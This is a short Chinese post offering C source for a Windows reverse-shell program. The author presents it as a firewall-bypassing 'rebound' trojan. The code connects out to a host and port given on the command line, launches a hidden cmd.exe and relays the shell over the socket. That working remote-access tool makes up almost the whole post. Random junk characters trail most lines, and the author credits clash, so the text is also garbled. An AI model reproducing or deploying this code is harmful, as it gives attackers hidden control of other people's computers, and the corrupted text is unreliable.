这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jw<pK4?y
,JU@|`
/* ============================== o]:3H8
Rebound port in Windows NT :0& X^]\
By wind,2006/7 QTX8
L
===============================*/ ?;/^Ya1;Z
#include @Z>ZiU,^
#include D%6;^^WyUx
l7# yZ*<v
#pragma comment(lib,"wsock32.lib") J:&[59
< -W*$?^
void OutputShell(); AL#4_]m'
SOCKET sClient; {:@tQdM:i8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $/!{OU.t`
!*6CWV0
void main(int argc,char **argv) >D201&*G%
{ EdZ\1'&/9
WSADATA stWsaData; 3gd&i
int nRet; jReXyRmo({
SOCKADDR_IN stSaiClient,stSaiServer; b[V^86X^
ys 5&PZg*
if(argc != 3) P ;IrBq6|o
{ ~3uP6\F
printf("Useage:\n\rRebound DestIP DestPort\n"); &gzCteS
return; RV@*c4KvO+
} @E:,lA
>jD[X5Y
WSAStartup(MAKEWORD(2,2),&stWsaData); 4:g R r
J9~g|5
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EkziAON
+\v?d&.f0
stSaiClient.sin_family = AF_INET; 3}e%[AKh
stSaiClient.sin_port = htons(0); bV,}Pp+/"!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rRFhGQq1m
zc[Si bT
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rtc9wu
{ S~|T4q(
printf("Bind Socket Failed!\n"); }iuWAFZbGS
return; i':C)7
} o"*AtGR+"
i>(e}<i
stSaiServer.sin_family = AF_INET; %n*-VAfE\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (DI>5.x"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I'LnI*
z*-2.}&U<
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) irfp!(r
{ BqT y~{)+
printf("Connect Error!"); wp&=$Aa)'
return; {E@Lft-
} |j,"Pl}il^
OutputShell(); D|{jR~J)xK
} x@[rms
vd[0X;
void OutputShell() 1u:<
25
{ Om5Y|v"*
char szBuff[1024]; %rv7Jy
SECURITY_ATTRIBUTES stSecurityAttributes; nR-YrR*k
OSVERSIONINFO stOsversionInfo; R#I0|;q4|p
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sc}~8T
STARTUPINFO stStartupInfo; jEZMUqGY!
char *szShell; |AozR ~
PROCESS_INFORMATION stProcessInformation; jWrj?DV,2N
unsigned long lBytesRead; 4GX-ma,
|EJD3&
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B&n<M]7
6|PrX
L&
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V T\F]Oa#
stSecurityAttributes.lpSecurityDescriptor = 0; `)_dS&_\
stSecurityAttributes.bInheritHandle = TRUE; q-}Fvel u
JPoN&BTCj
LhA/xf
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zdYy^8V|z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?B2] -+Y
]7Tkkw$
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e4 >_v('
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sT}.v*
stStartupInfo.wShowWindow = SW_HIDE; Utnr5^].2O
stStartupInfo.hStdInput = hReadPipe; "eB$k40-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SAy=WV
x-^`~p
GetVersionEx(&stOsversionInfo); P\1L7%*lU
.\)U@L~
switch(stOsversionInfo.dwPlatformId) 1;Ou7T9w
{ e4?>-
case 1: {xXsBh
Y
szShell = "command.com"; PHZ0P7
break; ;DFSzbF`
default: >7jbgHB
szShell = "cmd.exe"; (|klSz_4LM
break; M
l Jo`d
} /|C*
1g8_Xe4
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (k5We!4[1
&$`P,i 1)
send(sClient,szMsg,77,0); C~2F9Pg
while(1) QdF5Cwf4
{ ZX9T YN
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (l^3Z3zf&
if(lBytesRead) 1w@(5 ^V
{ "{@A5A
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g
jDh?I
send(sClient,szBuff,lBytesRead,0); HK,cJahq
} .HS"}A T
else l;R%= P?'F
{ hYPl&^
lBytesRead=recv(sClient,szBuff,1024,0); m$}R%
if(lBytesRead<=0) break; 6Ypc`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8m2Tk\;:
} \<JSkr[h!"
} 7K,-01-:
A9I{2qW9+Z
return; 8@i7pBl@
}